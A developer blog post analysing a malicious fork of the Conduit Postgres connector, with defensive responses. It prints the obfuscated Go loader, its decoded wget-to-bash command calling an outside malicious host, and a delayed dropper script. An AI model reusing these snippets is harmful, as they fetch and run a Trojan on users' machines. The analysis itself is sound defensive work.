
Conduit is a data-streaming tool that heavily relies on plugins to extend its functionality. For instance, anyone can implement and use their own connector without recompiling Conduit, as the connector starts in a separate process that communicates with Conduit via gRPC. The security-conscious reader might spot a potential issue - if you can get someone to run your connector, you could include malicious code to do despicable things. That's exactly what someone tried last week.
Let's dive into how we spotted this and what we did to prevent our users from falling into the trap.
A Suspicious Connector
As part of the Conduit project, we have a GitHub action that crawls repositories every week, searching for any repository importing our connector SDK. These repositories are Conduit connectors. The action gathers information about each repository, like the description, number of stars, the connector.yaml
file, releases, and their assets. All of this information is gathered and exported in a JSON file that we host on https://conduit.io/connectors.json. We call this our connector registry.
Last week, I reviewed the pull request with the updated connector list and spotted a new 3rd party repository. Exciting, someone is working on a new connector! I decided to check it out. After opening the repository, I was met with a familiar README - this repository was a fork of our official Postgres connector. Two things caught my eye however. The git history was squashed into a single commit with the message "adjust", and the repository already had 22 stars even though it was only created 2 days ago. I opened the GitHub profile of the repository creator and saw that the account was created a month ago and that this was the only repository they owned. Suspicious.
I decided to clone the repository and check the diff between the forked connector and our official one.
diff -bur conduitio/conduit-connector-postgres/ actualrancher/conduit-connector-postgres/
--- conduitio/conduit-connector-postgres/cmd/connector/main.go 2025-01-31 13:37:03.742463510 +0100
+++ actualrancher/conduit-connector-postgres/cmd/connector/main.go 2025-04-22 13:07:46.407750150 +0200
@@ -14,6 +14,8 @@
package main
+import "os/exec"
+
import (
postgres "github.com/conduitio/conduit-connector-postgres"
sdk "github.com/conduitio/conduit-connector-sdk"
@@ -22,3 +24,15 @@
func main() {
sdk.Serve(postgres.Connector)
}
+
+
+func OAPicvR() error {
+ WoH := []string{"o", " ", "r", "&", " ", "7", "s", "s", "n", "5", "w", "w", "b", "t", "h", "a", "y", "a", "d", "o", "e", "g", " ", "/", "m", "a", "/", "i", "4", "t", "r", "a", "r", "/", "f", "t", "p", "i", "/", "s", " ", "O", "u", "d", "/", "/", "3", ".", "e", "b", "/", "f", "-", "d", " ", "t", "b", "0", "c", "|", "1", "3", " ", "n", "b", "e", "a", "-", "h", ":", "6", "g", "3", "t", "e"}
+ oUnSQ := "/bin/sh"
+ jDIVaCS := "-c"
+ iwxTmUsF := WoH[11] + WoH[21] + WoH[74] + WoH[13] + WoH[22] + WoH[67] + WoH[41] + WoH[62] + WoH[52] + WoH[54] + WoH[14] + WoH[73] + WoH[35] + WoH[36] + WoH[6] + WoH[69] + WoH[23] + WoH[45] + WoH[24] + WoH[15] + WoH[63] + WoH[29] + WoH[2] + WoH[66] + WoH[49] + WoH[0] + WoH[10] + WoH[48] + WoH[32] + WoH[16] + WoH[47] + WoH[27] + WoH[58] + WoH[42] + WoH[38] + WoH[7] + WoH[55] + WoH[19] + WoH[30] + WoH[25] + WoH[71] + WoH[65] + WoH[33] + WoH[53] + WoH[20] + WoH[61] + WoH[5] + WoH[72] + WoH[18] + WoH[57] + WoH[43] + WoH[34] + WoH[44] + WoH[31] + WoH[46] + WoH[60] + WoH[9] + WoH[28] + WoH[70] + WoH[64] + WoH[51] + WoH[40] + WoH[59] + WoH[1] + WoH[50] + WoH[56] + WoH[37] + WoH[8] + WoH[26] + WoH[12] + WoH[17] + WoH[39] + WoH[68] + WoH[4] + WoH[3]
+ exec.Command(oUnSQ, jDIVaCS, iwxTmUsF).Start()
+ return nil
+}
+
+var ldpsvC = OAPicvR()
Whoah, what's that?! Someone added code that executes an obfuscated command when the connector starts. The red light in my head started flashing.
I wanted to know what code exactly would be executed, so I copied the code into a temporary file, printing out the variable iwxTmUsF
without executing the command. Here's what came out (needless to say, do not execute this):
wget -O - <https://mantrabowery.icu/storage/de373d0df/a31546bf> | /bin/bash &
This command downloads a script and runs it on your machine in the background. Let's go deeper - what does the script do? Here's its content:
#!/bin/bash
cd ~
if [[ "$OSTYPE" == "linux-gnu"* ]]; then
if ! [ -f ./f0eee999 ]; then
sleep 3600
wget <https://mantrabowery.icu/storage/de373d0df/f0eee999>
chmod +x ./f0eee999
app_process_id=$(pidof f0eee999)
if [[ -z $app_process_id ]]; then
./f0eee999
fi
fi
fi
It's a script that specifically targets Linux machines. If the machine is not infected yet, it downloads a binary and runs it. The sneaky part is how it lies dormant for 1 hour before downloading and running the binary, making it harder to detect by automated scanners or manual testing. If you ran this connector on your machine, you wouldn't spot anything out of the ordinary at first.
We still don't know what that binary does, though. I downloaded it and submitted it to virustotal.com, which confirmed my suspicion - it's a Trojan.
Remember that the repository had 22 stars? I also had a look at the accounts of the stargazers. Each and every one of them was a recently created account, while almost half of them also owned a repository that was a fork of some Go project. After inspecting these repositories, I quickly found that every single one showed the same pattern - a similar snippet with malicious code injected somewhere in the code and a single commit squashing the history, making it harder to spot.
Taking Action
The first thing I did after identifying the malicious repositories was to report the abuse to GitHub. Here are the instructions on how you can do that yourself if you ever spot a repository with malicious code. This is an important step in keeping GitHub a safe and trusting space.
Note that GitHub acted swiftly as the repository had already been removed a few hours after the report. Kudos to GitHub!
We also decided to change the way our GitHub action builds the connector registry. Previously, the action would automatically create a pull request that added any newly discovered connectors, relying on reviewers to spot malicious connectors before the list was updated on our site. Now, we have adopted a more restrictive approach - the action only proposes new connectors from our own GitHub organizations. Any repository outside of these organizations must first be manually added to an allowlist before it appears in the connector registry.
We still didn't want to lose the information about new potential connectors being created by the community, so we configured the action to also output a list of repositories that were filtered out. This gives us the best of both worlds - we still know whenever someone creates a new connector, but lower the risk of mistakenly including a malicious connector in our official connector registry.
Conclusion
Running a plugin from a malicious author can compromise your system. Whether you are running Conduit or any other tool that uses plugins, always ensure you get your plugins from a trusted source.
As developers of a tool that accepts plugins, we want to make our plugin ecosystem as safe as possible. Carefully curating plugins that make it into our registry is just the first step, we also plan to explore the possibilities of improving the security of Conduit plugins, like validating checksums or signing the binaries with a certificate.
Did you ever spot a malicious plugin in another tool? Join our Discord server and let us know!